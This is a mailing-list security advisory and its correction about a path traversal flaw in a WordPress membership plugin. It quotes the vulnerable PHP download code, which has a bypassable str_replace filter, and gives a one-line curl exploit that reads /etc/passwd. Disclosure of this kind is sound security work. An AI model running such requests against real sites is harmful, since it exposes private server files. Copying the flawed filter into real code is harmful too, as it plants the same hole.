[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Message-id: <68EF56AF-248C-4D01-A1E5-DC0AB9FCACBB@me.com>
Date: Wed, 15 Mar 2017 08:09:01 -0400
From: "Larry W. Cashdollar" <larry0@...com>
To: oss-security@...ts.openwall.com
Subject: Re: Arbitrary file download vulnerability in Wordpress
Plugin Membership Simplified v1.58
Sorry Folks,
The vulnerability description should have read 'does *not* check':
> Vulnerability:
> The file download code located membership-simplified-for-oap-members-only/download.php does not check whether a user is logged in and has download privledges, the code on line 5 that checks the path can be defeated by using a ..././ pattern to get the desired ../ after being passed through the str_replace() function:
> On Mar 14, 2017, at 4:33 PM, Larry W. Cashdollar <larry0@...com> wrote:
>
> Title: Arbitrary file download vulnerability in Wordpress Plugin Membership Simplified v1.58
> Author: Larry W. Cashdollar, @_larry0
> Date: 2017-03-13
> CVE-ID:[CVE-2017-1002008]
> Download Site: https://wordpress.org/plugins/membership-simplified-for-oap-members-only
> Vendor: https://profiles.wordpress.org/williamdeangelis/
> Vendor Notified: 2017-03-13
> Vendor Contact: plugins@...dpress.org
> Advisory: http://www.vapidlabs.com/advisory.php?v=187
> Description: Membership Simplified allows you to generate membership lessons with templated content to create a unified look and feel throughout your courses.
> Vulnerability:
> The file download code located membership-simplified-for-oap-members-only/download.php does check whether a user is logged in and has download privledges, the code on line 5 that checks the path can be defeated by using a ..././ pattern to get the desired ../ after being passed through the str_replace() function:
>
> 3 $path = substr(getcwd(), 0, -50). "uploads/membership-simplified-for-oap-members-only/"; // change the path to fit your websites document structure
> 4 $fullPath = $path.$_GET['download_file'];
> 5 $fullPath = str_replace("../","",$fullPath);
> 6
> 7 if ($fd = fopen($fullPath, "r")) {
> 8 $fsize = filesize($fullPath);
> 9 $path_parts = pathinfo($fullPath);
> 10 $ext = strtolower($path_parts["extension"]);
> 11 switch ($ext) {
> 12 case "pdf":
> 13 header("Content-type: application/pdf"); // add here more headers for d iff. extensions
> 14 header("Content-Disposition: attachment; filename=\"".$path_parts["base name"]."\""); // use 'attachment' to force a download
> 15 break;
> 16 default;
> 17 header("Content-type: application/octet-stream");
> 18 header("Content-Disposition: filename=\"".$path_parts["basename"]."\"") ;
> 19 }
> 20 header("Content-length: $fsize");
> 21 header("Cache-control: private"); //use this to open files directly
> 22 while(!feof($fd)) {
> 23 $buffer = fread($fd, 2048);
> 24 echo $buffer;
>
> Exploit Code:
> • $ curl http://example.com/wordpress/wp-content/plugins/membership-simplified-for-oap-members-only/download.php?download_file=..././..././..././..././..././..././..././..././etc/passwd
> •
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
